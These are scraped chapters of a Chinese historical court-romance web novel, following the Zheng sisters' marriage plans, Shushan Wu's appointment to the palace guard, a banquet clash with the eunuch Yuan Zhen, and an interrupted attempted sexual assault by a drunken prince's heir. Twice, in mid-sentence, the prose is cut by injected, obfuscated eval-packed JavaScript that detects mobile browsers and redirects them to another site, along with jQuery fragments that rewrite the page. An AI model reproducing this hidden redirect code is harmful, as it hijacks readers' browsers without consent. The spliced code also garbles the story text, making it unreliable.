“最近叔山家真是喜事连连,平野郡王刚获任命,叔山柏又被左仆射大人看中,举荐去了礼部,在鸿胪寺任职。” “不错啊,是个好去处。”郑来仪淡淡道。 “是啊,可是容夫人一直很遗憾的样子,连连说大郎没能成为父亲门生,感觉可惜得很。” 郑来仪垂着眼不说话。 叔山柏成了房速崇的门生,此后便跨入了和郑氏不同的阵营。叔山氏刚在朝中站稳脚跟,承担不了得罪郑国公的后果,为与国公府维系好关系,容氏自然是要有所表示的。 郑来仪突然拉过郑绵韵的手:“你真的想好,要嫁那杜境宽么?” 郑绵韵的脸腾一下便红了:“你好好的,说这个做什么?” 郑来仪认真地看着她,一字一句:“既然要嫁人,不如嫁给你中意的。否则让人趁虚而入,没得恶心了自己。” “这……是什么意思?” “就是让你有喜欢的人及早下手的意思。” 经过这些日子,郑来仪也想通了,她或许不应该按照自己的意愿去干涉姐姐的因缘,就算杜境宽前世为虎作伥,成为叔山氏造反的帮凶,不代表这一世仍会如此。更何况,他们二人前世婚姻相谐,不算不圆满,倘若自己一意干涉,反而有矫枉过正之嫌。 姐妹俩一边说着话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639150|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一同跨进前院。不远处的长廊里,李砚卿和容夫人站在廊下,正作道别状。叔山柏站在容夫人身后,恭顺的小辈姿态,姿态温驯,带着春风般和煦的笑意。 郑来仪此刻没来由地觉得,这对精致无暇的母子,有些假。 郑绵韵一路思索自己妹妹的话,突然放缓了脚步,问郑来仪:“所以你觉得,我该怎么做?” 郑来仪握紧了她的手:“若你想好,我去找他。” 绵韵好不容易鼓起的勇气突然泄了些,犹豫着道:“……这样不好吧?” 郑来仪笑起来:“你以为我去找他干什么?逼他上门提亲?咱们好歹是郑家的女儿,我怎可能做出这样没品的事!” “那……你要做什么?” 郑来仪抿起嘴,冲着绵韵笑了笑,没有回答。 - 傍晚时分,行香祭祀结束,一辆辆宝马香车流水般出了霄云寺,踏上夕阳中的山道。 国公府的车马被负责京畿防卫的禁军卫队严阵护佑着,郑远持和郑成帷骑马当先,女眷们的马车则跟在后面。 “国公爷!” 郑远持勒马,转身看见袁振一袭红衣,从小道上过来,马蹄匆匆,没一会便到了面前。 “袁少监。” 郑远持笑着颔首,“您今日也是来庙里行香?” 袁振叉了叉手,自嘲道:“国公爷莫要取笑我,咱家是没根的浮萍,我那死去的爹娘这会子还不知投胎去了哪个地方,家祭行香哪里轮得到我!这不是大老远看见您的车马,来打个招呼!” 郑远持笑着转头:“嘉树,怎么不给袁少监请安?” 郑成帷便要翻身下马,却被袁振伸手虚虚拦住了:“哎哎——使不得使不得!!” 他一夹马肚,朝着郑成帷靠近了些,满眼的赞赏与钦羡,“许久不见二公子,这等少年英雄气度,不愧是国公府的好儿郎,叫咱家看了真真惭愧煞了!” 郑成帷看着满面堆笑的袁振,压抑住心头的一丝不适,叉手恭谨道:“袁少监谬赞,成帷愧不敢当。” “嗨!二公子别和我客气,往后咱们在一处,但凡遇到什么事,只管告诉咱家!” 郑远持含笑道:“袁少监别惯坏了我这不成材的儿子,有什么苦活累活,只管让他去干!” 国公爷越是这么说,袁振心中越发谨慎:“那怎么能?二郎来到禁军是享福的,我必定当成金疙瘩一样捧着,决不能让他磕了碰了一点!” 郑远持将袁振的态度看在眼里,微笑不语。 兵部衙门虽然扼要,但如今的情形下已然势弱,郑远持为儿子的前程考量,始终在为成帷挑选合适的去处。禁军为天子近卫,地位远非他军能比。在国公爷的安排下,立秋后郑成帷便要离开兵部,去禁军任职。 禁军之中不少是像郑成帷这样家世显赫的良家子,身为禁军统御,袁振应对这样的子弟驾轻就熟,今日也是远远看到国公府的车队,才来套个近乎。 当然目的不仅于此。 袁振脸上的笑容收敛了几分,压低声音问郑远持:“听说,这新任的禁军指挥使人选,是陛下钦定的?” 31. 仕汉羽林郎 郑远持微微扬眉:“袁少监是说谁?” 其实袁振要问的是谁,他心中如明镜一般。 大祈中枢如今的格局,左、右仆射房郑二氏隐隐对峙,在六部各有势力范围,而袁振手下的禁军则成为怀光帝制衡房速崇和郑远持的第三支力量。 郑远持将儿子送进禁军,看似是在向袁振示好,实则是看中了禁军身为皇帝心腹的地位。他对袁振狐假虎威的气势,虽不如出身清贵的房速崇表现得一样明显,内里也是极为看不上的。 因着颜青沅入葬帝陵一事,他对敢于和袁振正面对峙的叔山梧留下深刻印象,收到舜王举荐叔山梧的密函后,郑远持便心生一计。 这一点上,他和女儿的想法是一致的——与其放虎归山,不若让这初生牛犊的叔山二郎去水深的禁军,将这样一把匕首放到袁振的枕头下面,让皇城之中只手遮天的袁少监体会一下危机感,也正好试探了叔山氏对朝廷的忠诚度,可谓一举两得。 郑远持择机在怀光帝面前状似无意地提起:叔山家二郎是个出名的人物,连舜王对他都青眼有加,有意举荐他去槊方。轻而易举便引起了皇帝的注意。 他又沉吟着:叔山梧在霁阳守卫战中表现颇为突出,是武将的好苗子,边境军防固然重要,倘若禁中有此将才,护佑京都,也可减轻不少顾虑啊。 怀光帝闻言若有所思。 袁振因颜司空墓志铭一事凭空惹出争端,被言官几度弹劾直呈御前,说禁军“凭势使气,未尝更战”,让皇帝颇为恼怒。麒麟之乱后,怀光帝本就有意壮大禁军,可袁振一心只知勾结朝臣,于治军之道毫无建树,郑远持给禁军注入新鲜血液的建议便正中了他的下怀。 圣旨隔日便下达,制曰:「叔山梧智略过人、素有战功,封羽林中郎将,掌北衙禁军,钦此。」 这道圣旨让郑远持心中笃定不少——至少陛下对袁振和自己一视同仁,从来没有什么真正的心腹一说。 至于叔山梧往后的处境,于他而言则不是什么值得担忧的事,反正也不是亲生儿子,一切全看他自己的造化。 袁振见郑远持一脸茫然地和他打哑谜,便疑惑道:“国公爷还不知么?陛下封叔山家的二公子为羽林中郎将入禁军,任北衙六军指挥使,圣旨是前日下达的。” “禁军的将领人选,袁少监事先竟不知情?”郑远持扬眉道。 提起这个,袁振便一肚子愤懑,他硬是按捺住没有当着郑远持的面发作:“咱们都是为陛下办差,圣意难测,咱家怎会事事都知情?” 郑远持点头,似不无理解也同感委屈的样子:“北衙六军可算是禁军的核心力量,算上掌禁中的翊卫,大军人数也有七八万了吧?” “何止,收编了麒临旧部后,禁军已经有十万兵马了,”袁振眼中寒光一闪,“叔山氏出身麒临巢穴,如今这父子接连受勋,难道陛下当真心无芥蒂了?” “听说这叔山二郎确是领兵的良才。圣人的心思,袁少监一向比我体会得透彻,只是……” 郑远持看着袁振,语气缓缓道,“——将人放在眼前,想来既有栽培之意,也不无防范之心吧。” 袁振立时通透。木已成舟,叔山梧是谁举荐到皇帝面前已不重要,他今日本就想试探郑远持对叔山二郎的态度,现在一看,郑国公并不像他的靠山,反而有几分隔岸观火的意思。 他的语气冷了不少:“哼,这叔山梧来自边镇,一文不名的捉生将出身,一朝撞了大运,竟直升正四品亲勋翊卫。咱家且要看看,这小子有几分真本事!” 郑远持微笑不语。袁振的视线瞟到他身后始终垂目,姿态谨慎的郑成帷,突然意识到,有郑成帷这么个日后的下属在面前,自己如此直白的敌意并不妥当。当下也笑了笑,朝着国公爷一拱手,称改日登门拜访,便带着人马离开了。 郑成帷这时方才开口:“父亲,那叔山梧真的是您举荐的么?” 郑远持转过头来看着儿子:“禁军不似兵部,作为天子的亲兵,离圣人越近的地方,争端便越多,你务必多加留意。” 郑成帷颔首。 “至于叔山梧,入了羽林军你便在他麾下,他虽与你年纪相仿,但身上有颇多值得学习之处,要学会观察。你不可能一直活在为父的荫庇之下,往后的路还要靠你自己走。” “都说这叔山梧虽然年纪不大,在各胡族之中名声却颇响,这回儿子倒能亲眼见识见识!”郑成帷颇有些好奇。 郑远持语气严肃地告诫,“遇事切记:不必搅进无谓的纷争,天塌下来自有个子高的顶着。” “明白了,父亲。” - 朝中接连发布了数封任命,从中央到边镇,从文官到武将,均有不小的人事调整。除槊方、青州两节度外,朝廷在渝州、肃州、奉州、范阳均增设了节度,对西北边境军事力量进行加固以御外族的同时,也不无肢解防范之意。六节度相互牵制,而核心则始终掌握在舜王李肃和虢王李澹两位宗室的手中。 这一波官场地震中,最为惹人注意的自然是叔山氏。从叔山寻到叔山柏、叔山梧兄弟俩,边镇、六部和禁军,几乎被父子三人占全了。朝野上下议论纷纷,循着风头登门拜贺的人也是络绎不绝,几乎踏平了平野郡王府的门槛。 这其中,不乏慕名而来,向叔山家的儿郎抛出橄榄枝的玉京贵女。北境战乱频仍,大祈女儿掀起一股“爱武不爱文”的风潮,叔山梧以不足弱冠之年,成为大祈最年轻的正四品武将,前来求问二郎姻缘的人家更是远远超过询问大郎的。 传说叔山家二郎十三岁御霸王弓、降盗骊马,一身玄衣战甲,战场之上神挡杀神,佛挡杀佛,难得的是还生了一张俊朗无比的脸,日角珠庭渊渟岳峙一般的气度。如此年轻优秀的英雄人物,便如天上星辰一般耀眼,不免惹得佳期阻旷的闺阁女儿们春心躁动。 “我听说吏部尚书家的小女儿对叔山二郎倾慕不已,每日算准了下朝的时辰,将马车停在平野郡王府的门口,只为有机会见一面叔山梧的真颜,可惜接连蹲守数日都未能等到人,可真是殷殷一腔真心……” 郑绵韵靠在凉亭的石柱上,讲起这桩轶事,一边试探着看向自己妹妹。 国公府上下多少知道四小姐和叔山家二郎颇有渊源。只是郑来仪每次听到叔山梧的名字便顿收笑颜,这渊源也不知是敌是友,是故下人们也只敢在背后悄悄议论。 “这下平野郡王府不愁没有合适的儿媳人选咯!”见郑来仪没什么反应,郑绵韵以一声感叹收尾话题。 郑来仪看了绵韵一眼,语气带了些调侃:“姐姐后悔么?左右我还没去找那姓杜的,也还来得及……” “要死了这丫头!”郑绵韵伸出一根指头戳了郑来仪一下,“我跟你说东,你和我扯西——看我以后还理不理你!” 一尾尾小红鱼拥在郑来仪脚边,争前恐后地圆张着嘴巴,水面波澜频起,一圈圈漾到远处的莲叶底下。 郑来仪扯了扯嘴角,笑意不达眼底,有一搭没一搭地将手里的鱼食往池塘里撒。 话虽这么说,没半刻,郑绵韵又觑着郑来仪的神色悄悄靠过来。 “那叔山二郎我虽没见过几回,可总觉得他对你和对旁人不大一样的。中元那日从霄云寺出来,我们的马车在拂霄山下的驿站歇脚,那远远坐在马上的人是他对吧?他那眼神炯炯的,似乎一直在看着咱们这边的……你没察 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适逢李砚卿身体不适,郑远持原本计划带着绵韵和来仪一同赴宴,可整日与四丫头黏在一处的绵韵,却因为是天家设宴而怯了场,怕去了也太过拘谨,坚持要留在家里陪着母亲。 于是八月初五这日,晚霞漫天中,国公爷带着四丫头在隆福门前下车,随着热闹的人流入了紫宸宫。 宴席设在流珠殿,与圣人养居的含元殿一墙之隔,是宫中举办宴游娱乐的场所。流珠殿临着金澧池,因着高祖皇帝曾在池边醉酒,将一斛蒲萄酒倾倒在了池中,引得池中金鲤醉倒一片而得名。 郑来仪穿一身嫩鹅黄束胸石榴裙,压金绣纹的芍药花从腰间至裙摆次第绽开,轻似薄雾的縠衫下,隐约可见右臂上缠着的金臂钏,与胜雪肌肤相配,浓纤合度,华贵异常。 她跟在父亲身后,在宫人的引导下,一路目不斜视沿着既定的路线行走,约莫走了一刻钟功夫,终于到了流珠殿。 她在郑远持的身后落座时,席上的宾客已经到了一半。朝中同僚在向郑国公叉手行礼后,无一例外将目光停在了他身后的郑来仪身上,不由得眼神一亮。 早就听闻郑国公的小女儿姿色出众,今日一见果然名不虚传。 突闻钟鸣罄响,是吉时已到。仪官尖细的声音响起:“陛下驾到——” 众人闻声连忙起身行礼,一时间袍袖摩挲,跪倒一片。 怀光帝李旳一身轻便的圆领袍,头戴翼善冠,面带微笑地入席,一边摆手示意众臣不必拘礼,尽快落座。 皇帝已是年过六旬,身形肥胖。饶是流珠殿临水,大殿四角还放置了十二座摆着冰块的大缸,席间凉意沁人,皇帝依旧是气喘吁吁,一额头的汗,坐下后便有内侍监递上凉帕,供他拭汗,站在身后左右两侧的宫女轻摇羽扇,送来凉风。 这一番忙碌中,殿上鸦雀无声,最终是郑远持打破沉默,举起杯盏笑道:“陛下面色红润,春秋盛极,让今日在场的这些新进武将们见了,都要自愧不如!” 众人连声附和,唯独坐在郑远持正对面的房速崇捋着胡须,对他这样哄圣人开心的场面话一脸不屑。 皇帝哈哈大笑:“惟宰又来哄我!一会让你先罚酒三杯!” “陛下赐酒贵如珍宝,老臣求之不得,多多益善。” 舜王看一眼郑远持身后低调坐着的郑来仪,笑着接话:“皇兄莫要偏心,什么好事都让老郑一人占了,有那么个明珠般耀眼的宝贝女儿,哪里会愁没有人送酒上门?还来和我们抢酒喝,好没道理!” 皇帝扶着桌案,带着笑意的目光扫过席间,扬声道:“北衙六军指挥使何在?” 32. 置酒高殿上 郑来仪缓缓抬眼,叔山梧一袭戎袍,自大殿下首的官员中起身。 他身高腿长,几步便走到御前。只这一会的工夫,已经吸引了在场所有人的注意。 陛下甫一坐定,第一个点到的便是传说中从天而降掌握北衙六军的话题人物。年轻些的同僚无不投以欣羡的目光,老臣们则抱臂不语,凝视着这位新任禁军指挥使走到台前。 女宾的眼神中内容则简单的多,无非是因叔山梧天生冷硬的气场和俊朗的外形带来的强烈反差而产生的好奇与欣赏。其中一个紫衣绯裙,珠翠华丽的贵女目光尤其炽热,停在叔山梧身上,如何舍不得离开。郑来仪想了一会,意识到这位便是绵韵曾经提到过的吏部尚书家的小女儿伍暮云。 “末将叔山梧,拜见陛下。” 怀光帝看着阶下身形昂藏的叔山梧,语气颇为温和:“怎么坐在那么后面?”略偏了头示意一旁的内侍监总管裘顺,“给指挥使赐座,就坐在——” 他打量了一下场中,“坐在昭儿旁边。你们年岁相仿,说起话来方便!” 便有小黄门连忙搬来蒲团,在舜王世子的右手边增设了一个坐席。 舜王笑着向皇帝禀告:“叔山梧在与六胡州市马一事上立下大功,为臣弟分了不少忧!昭儿,今日你便好好陪着指挥使大人,有什么事多向他请教。” “不敢。” 叔山梧面上没什么表情,李德音今日也一反常态,低低应了一声“是”便再没说话。 房速崇捋着胡须,缓缓道:“叔山氏出身麒临旧部,陛下不计前嫌颇为礼遇,又赐叔山将军受勋于凌烟阁,对你们兄弟二人也是青眼有加。今日二公子作为平野郡王府的代表,可曾好好向陛下谢恩?” 左仆射房速崇的资历朝中无出其右,也只有他敢当着叔山梧的面戳叔山氏的软肋。此言尖锐,皇帝面上的和煦笑意淡了几分,目光在叔山梧的脸上一顿。一时间众人的神情都有些玩味。 叔山梧直视着房速崇,语气平静:“多谢左仆射大人提点。末将始终觉得,言语表忠心,不及行动万一。” 房速崇冷笑不语,郑远持却开口:“叔山氏一门忠烈,敢于敌营中孤身投诚,二公子更是师从颜司空,此等忠心,想来陛下也是心如明镜。虽然二公子年纪轻轻,却在沙场磨砺了许久,前线厮杀惯了,想来言语上朴拙些也是有的。” 皇帝点头:“两位爱卿说得有理!大祈百年国祚,需要更多这样的青年才俊来守护,众爱卿一同举杯吧!” 殿中众人一同起身,双手捧杯面向皇帝,齐声恭贺:“陛下千秋万代,大祈国祚绵长!” “吾皇万岁万岁万万岁——!” 第一杯酒下去,席上的气氛活络了不少。怀光帝一向宽和,君臣之间相处并无过分拘谨,今日似乎心情也是不错,问及几位近臣家中情况,甚至还开起了玩笑。一时间流珠殿中笑语阵阵,美酒佳肴如流水般源源不断地送到宾客的面前。 叔山梧坐在热闹的人群中,并不怎么动筷,遇有人来向他搭讪也只是简单几句应答,对话便戛然而止。手边一杯斟满的酒,更是从筵席开始便丝毫未动过。 李肃好酒,接连几杯下去,姿态放松不少,说话的声音也愈发洪亮了些。他瞥了一眼身后寂然独坐的叔山梧,笑着对上首的皇帝道:“皇兄可知,您选中的这位禁军指挥使,如今在玉京城里有个响当当的名号!” 皇帝向后一靠,兴味盎然地问:“什么名号?” 舜王端着酒杯,摇头晃脑:“说是玉京新贵,叔山二郎,郎艳独绝,世无其二!” “哦,当真?” “臣弟亲耳所闻,不信您问问在场家中有未出阁女儿的同僚们,可有半句虚言?” 皇帝面带笑意扫视一圈,吏部尚书伍思归正不自在地将视线从叔山梧的脸上匆忙移开。舜王击掌叹道:“可惜本王没有女儿,不然啊,一定先下手为强!” 他转头问叔山梧:“如何?你母亲近来是不是庚帖收到手软?” 郑来仪忍不住抬眼,去看叔山梧的反应,却发现他的目光正状似不经意地看过来。 他的视线在郑来仪的脸上停留了一瞬,眸光流传间几分深邃,而后垂下眼,淡声:“王爷玩笑了。” 郑远持从玉京新贵这个话题开始便没怎么说话,心中若有所思,方才叔山梧突然望过来的视线被他敏锐地捕捉。虽未回头,却能感觉到身后的四丫头一时屏住呼吸。 他手指沿着杯盏的边缘缓缓打圈,陡然注意到旁边面色阴沉的袁振,面带笑意地朗声道:“指挥使日后统帅北衙六军,怎么不向直属上司敬一杯酒?” 舜王反应过来,附和道:“对、对!阿梧,你快,敬袁少监一杯!” 见袁振脸色黑沉,舜王伸手将一脸不情愿的人拽了过来。他酒意已深,直接大力拍着他的肩:“袁少监!你这幅样子,难道是对这位天降下属不满意?” 袁振不得不挤出笑来:“怎会?!早就听说叔山二郎英雄气概,禁军有这样的将领,必定如虎添翼……” 他迫于舜王热情的撺掇,一手端起了案上的酒,转向了叔山梧。 叔山梧却一动不动,敛眉道:“抱歉,卑职不饮酒。” 声音不高,亦没有半点温度,一句话让场上的气氛顿时冷了下来。 袁振脸色剧变,“啪”一声将端起的酒杯重重顿在案上。 舜王夹在二人中间,面上顿时尴尬。行军作战的人饮酒如饮水,何曾见过不饮酒的士兵?没料到这叔山二郎如此刚硬,居然在这样的场合让袁振下不来台。 殿上嘈杂的人声一时小了不少,无数视线纷纷朝这边望了过来。 袁振一只手指着叔山梧,气得声音发抖:“你、你这竖子……竟然如此狂妄!不敬上官,是谁给你的底气?!!” 叔山梧掀眉,语气平静:“末将并不不敬之意,只是从无饮酒习惯而已。” 袁振气极反笑:“好、好、好!你硬气!!你清高!!难道陛下赐酒,你也不喝?!!” 他怒火中烧,被叔山梧这态度气晕了头,站起身便要向皇帝告状,却听见叔山梧冷声道:“袁少监此话何意,是在将陛下和您自己相提并论么?” 袁振僵立当场,一张长脸涨成了猪肝色,浑身颤抖,差点背过气去。 “我、你——你——简直放肆!!” 流珠殿中鸦雀无声。禁军统帅袁少监与新进指挥使叔山梧,这上下属二人一站一坐,突兀对峙着,一时没有人出面打破这僵局。 郑来仪安静坐着,叔山梧不卑不亢的姿态落在她眼中,如一座黑沉的山。 他虽在人群之中,却是孑然一人,冷然接受着所有人的凝视。 他的身边环伺着各异的目光:袁振的忌讳与敌对毫不掩饰,舜王的欣赏爱护点到为止,就算是幕后举荐他上位的父亲,也是隔岸观火作壁上观,并没有要出手解围的迹象。更多的人怀着看好戏的心态,要看这叔山二郎如何登高跌重。 而皇帝对他的激赏和爱护,便如同风雪中送来的一盏敞口的铜炉,纵使不被有心人夺走,也不知火焰何时会自行熄灭,在寒风中冻得铁硬。 她就这么静静地旁观。这样的叔山梧有着她最为熟悉的面目,桀骜不驯,行事狂悖。可这里不是他擅长的战场,在天子脚下波澜暗涌的朝堂之上,恐怕不用自己出手,以他充满争议的单薄背景,不屑党附的孤僻性格,日后必定四面树敌步履维艰,难走进任何一个阵营,直到葬身于不见烽烟的杀伐。 尴尬的安静不知持续了多久,怀光帝终于不紧不慢地出声。 “袁爱卿怎么生气起来?你这位下属常年驻守边郡,这些礼敬上官的规矩,恐怕还需要你多教教他——叔山梧,快给袁少监赔礼。” “卑职失礼。袁少监莫怪。”叔山梧略一拱手,语气淡淡。 袁振看着叔山梧漠然无畏的嘴脸,愈发难以消气,正要说什么,又听皇帝道:“作为禁军指挥使,往后叔山梧统御北衙六军,守卫禁中职责所在,需得时刻保持警醒。喝酒误事,不喝也罢。” 圣人轻描淡写的几句话解了叔山梧的围,袁振便不好再说什么,一甩袖子,面色不豫地坐了下来。 “呵呵,是老臣的错,不知道指挥使没有饮酒的习惯,竟惹出这等不愉快来!袁少监,还是我来赔酒一杯!”郑远持笑着打圆场。 袁振急忙端起杯子:“国公爷这是什么话!您是一番好意,谁知道有人会如此不识抬举!”说罢乜一眼叔山梧,紧跟着仰头干掉了杯中酒。 一场好戏看完,众人收回视线,又各自举杯夹菜,仿佛刚才的风波只是一场笑谈。琵琶鼓点声渐起,舞姬身着霓裳,在大殿中央的舞台上翩翩起舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665901|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 郑来仪眼见着一个人影自席上起身,从偏门出去了。当即拽了拽郑远持的袖子,低声道:“女儿出去透透气。” 郑远持点头同意,略叮嘱女儿两句,便转身与凑上来的户部尚书继续说话。 郑来仪迈出流珠殿,沿着临水的九曲木栈走到金澧池的对岸,对面灯火辉煌与熙攘人声都已离得远了,脚步略停,犹豫了一下。 “四姑娘是在找我么?” 树后绕出一个人来,面容和善,笑意吟吟,正是兵部尚书杜昌益的儿子杜境宽。 “知道我跟着你,还故意走得那么快。”郑来仪语气有几分不快。 杜境宽笑着拱手:“在下的错。姑娘找我有何事?” “倒没什么要紧的事。只是殿中憋闷出来透气,看见熟悉的身影,下意识便跟上来了。”郑来仪挑了挑眉。 杜境宽点头,面上一时欲言又止。郑来仪抱着手臂,将他的神情尽收眼底。 “……今日,怎么没见三姑娘?” 郑来仪心中暗笑,脸色却不无忧愁:“姐姐病了,卧床好些日子了……” 杜境宽一惊:“怎会如此?前日见她还是好好的!” “前日?你前日何时见的我姐姐,我怎么不知?” 杜境宽看见郑来仪面露狡黠笑意,顿时醒悟,松一口气:“姑娘莫逗我呀!” “你喜欢我姐姐,为何不说?” “我——”杜境宽一向快人快语,此时也被问得微红了脸,声音低了下来,“谁说我没说过……” “你和谁说了?我怎么不知?” 杜境宽猛地抬头:“这样的事怎好对外人说?绵韵她、她知道的……” 郑来仪轻笑一声,正色道:“你不昭告天下,有的是人上门提亲,难道你不知,那平野王妃几次三番登我们家门,就是看中了姐姐要她做儿媳妇,就差交换庚帖了!” 杜境宽顿时慌乱:“我、我是和父亲提过,但他说不着急,要等一等,国公爷他——” “杜境宽,是你要娶绵韵,不是你父亲娶她,也不是你娶我父亲。” 杜境宽面上羞赧,声音低了下来:“你说得对,我知道的……” “哼,要不是绵韵对你也有好感,我才不来踩这趟浑水。” 杜境宽立时面露喜色:“是她和你说的么?她对我也——” “所以你预备怎么办?” 杜境宽神情笃定,立即道:“当然是要娶她!我明日就准备聘礼,上门求亲!” 郑来仪笑了起来:“倒也没这么着急,你放在心上,别让人横插一杠就好。” “我自然是放在心上的……”杜境宽嘟囔着,目光在郑来仪的脸上滚了一滚,突然露出几分奇怪的笑意。 “你笑什么?” “四姑娘帮在下的忙,可也是顺便为了自己?” “……什么意思?” “叔山家交换庚帖,是为了大郎还是二郎?” 郑来仪脸色冷了几分:“大郎如何,二郎又如何?” “在下对大郎不甚了解,倒对今日殿上风光无限的二郎略知一二。哦——差点忘了,”杜境宽拉长声音,“四姑娘和叔山二郎也算是颇有缘分的,是吧?” 杜境宽本就是说话百无禁忌的开朗性子,索性问她:“你们相识于难中,叔山梧救过你,姑娘觉得他这人怎样?” “不怎么样。” “可我前日与他喝茶,还从他口中听到你的名字……” “怎么可能。” “是真的啊!我看他受了伤,问怎么回事,他说在青州遇到了刺客,他伤重时,是郑四小姐——” “别说了。” 溶溶月色下,郑来仪面色冷厉,神情前所未有的严肃。杜境宽乖觉地闭上了嘴。 绵韵说得不错,一提到叔山二郎,她四妹妹的反应便如同听到洪水猛兽一般。 杜境宽不再追问,唯恐得罪了这位未来的妻妹,收起面上的调笑向郑来仪一拱手:“在下该回去了,失陪。” 微风拂动郑来仪的额发,她站在原地,面色阴晴不定。 不知过去多久,身后传来沉重的脚步声。 郑来仪皱眉,转身道:“还有什么——!” 话音未落,身后人已经来到面前,高大的身形顿时将她笼罩。 33. 罗裙翻酒污 李德音身形微晃,一开口带着浓重的酒气,口齿不清地唤她:“椒椒……” 郑来仪微微蹙眉,向后退了一步:“世子,您喝多了。” 李德音眼中的人影有两重,每一个郑来仪都是明眸善睐,巧笑嫣然。少女鹅黄色的束胸罗裙下,一段修长的脖颈和微显的胸口白得几乎透明。夏夜的风吹过,将她身上的栀子香味送到鼻端,惹得李德音一阵心旌神摇。 他甩了甩脑袋,却止不住眼前人一直在晃动。猛地伸出手,抓住了郑来仪的肩膀,要她别再若即若离。 李德音手上的力道丝毫未曾收敛,郑来仪吃痛,轻嘶一声想要挣开,却被他更霸道地抓紧,朝人自己的怀中带。 “椒椒!你、你别走……我喜欢你,椒椒!我喜欢你!!你知道么?” 李德音满眼通红,粗重的气息喷在郑来仪的耳际,郑来仪奋力想要将人推开,一边扭头四顾左右,想要喊人过来。 这里已经靠近紫宸宫的北墙,内苑的宫人们此刻都在流珠殿那里侍奉,守卫此地的小黄门不知去了哪儿躲懒,竟然一个人影也无。 “椒椒!你嫁给我吧!你也喜欢我,对不对?我们从小一同长大,你和我一起玩耍,我们青梅竹马,我从来就当你是我的人,我要娶你!我和父王说过!我一直到现在都没有册立世子妃,母妃催过我多少次,我都没有应允!我会娶你!我只要你……” 李德音语无伦次,最后只是一个劲的重复着那四个字。 他追随郑来仪的身影离席,到了此地却听见有别的男人在和她说话,他一时没敢靠近,没看清那男人是谁,只依稀听见“叔山梧”的名字,登时怒火中烧。 今日席上,他的目光几乎没有离开过郑来仪,可郑来仪的视线从未与自己交汇过,而是数次落在他身边的人身上。 李德音突然后知后觉,是从青州开始,还是更早?表妹和叔山二郎的交集已经超出了自己的想象。 “世子,你喝多了!快放开我!” 郑来仪拼命挣扎,奈何却无法挣脱桎梏,语气愈发冷冽地告诫:“世子,醒一醒!这里是皇宫,今日陛下的千秋宴。殿前失仪是重罪!你快点放开我!!” 警告起了作用,李德音顿时停下了动作。郑来仪趁着间隙松一口气,刚要抽身,却被他猛地扛了起来,朝着远离流珠殿的方向走去。 “你、你要做什么?!快放开我!快点放开!!来人啊!有没有人?!!” 郑来仪被李德音扛在背上,肋骨顶在他的肩头硌得生疼,她两只拳头不住地砸在李德音后腰,却丝毫改变不了他的方向。 李德音的脚步突然变得很稳,没有半点醉酒的样子。郑来仪意识到这一点,心头顿时涌上恐惧,呼救的声音更加尖利,依旧没有任何回应。只听“吱呀”一声,李德音推门进了一处就近的楼阁。 阁楼中空无一人,更没有一盏灯,李德音扛着她几步上了二楼。郑来仪在黑暗中一时无法适应,人已经被放了下来,身体触感柔软,是张贵妃榻。 她下意识要向后缩,却被李德音猛地拽到身前。黑暗中他激动的声音近在咫尺。 “椒椒,你为什么不喊我表哥了?你小时候跟在我的后面,一声声的喊,表哥,表哥……你忘了么?为什么重逢后,我再也听不见你喊我表哥了……” 郑来仪抱紧自己,偏开头咬着嘴唇不去答话。李德音已经失去理智,自己任何的回应都可能如同落在干草上的火星,引起不可预计的后果。 然而这样的应对并没让李德音冷静下来,他的气息愈发粗重,伸手捏住郑来仪的下颌,将她的脸迫向自己,终于没忍住问出了口。 “你心里有别人了,是不是?是叔山梧那小子,对不对?!我早就该看出来,他叔山梧对你意图不轨,竟在我的眼皮子底下觊觎我的女人!!” 陡然听到那个名字,郑来仪紧咬的齿关挤出颤抖的几个字:“你疯了……” 李德音陷入狂乱,怒喝道:“他是个什么东西?叔山氏不过是我李氏王朝豢养的一条看门狗!!叔山二郎,玉京新贵?!呵呵,是本世子抬举他叔山梧,给他一份差事,才让他入了陛下的眼!!他敢碰我的女人……他也配?!” 他将郑来仪的脸拉到面前,惩戒一般狠狠地埋下了头。 郑来仪用尽全力闭紧牙关,拼命地扭开脸躲开了李德音的嘴唇,他已经醉得不像样,带着酒气嘴唇粗暴地压在她的下颌,让她害怕又恶心。 李德音尝到了少女身上弥漫的香气,肌肤柔软的触感让他血红的眼中充斥着迷乱。 “椒椒,你是我的,谁也抢不走——” 她拼力挣扎,但两人之间的体型差让这种抵抗变得毫无意义,反倒让李德音愈发兴奋。“嗤拉”一声,郑来仪身上轻薄似雾的縠衫被李德音信手撕裂,她惊呼一声,下一秒男人沉重的身躯便倾压上来。 冰冷的月光透过菱花窗格照在榻上,郑来仪扭过头,想要寻找一把利器,目光所及却一无所获,她手摸到松脱的鬓发,抽出一支翡翠簪子握在手里。奈何李德音压着她的手臂,让她动弹不得。有恐惧的眼泪从眼角滑落,沁在锦缎的软枕上。 突然有沉重的脚步声拾阶而来,郑来仪身上的份量倏然变轻,她眸光中闪过狠戾,手中簪子发狠般地向李德音刺了出去。 她没有刺中。李德音兴奋而狰狞的面容突然僵住,后领被提了起来,与郑来仪猛地拉开了距离。 她一手拢起凌乱的衣衫,看向李德音的目光犹带杀气,攥紧了簪子还要上前,却被一个挺拔的身影挡在了面前。 “我来。别脏了手。” 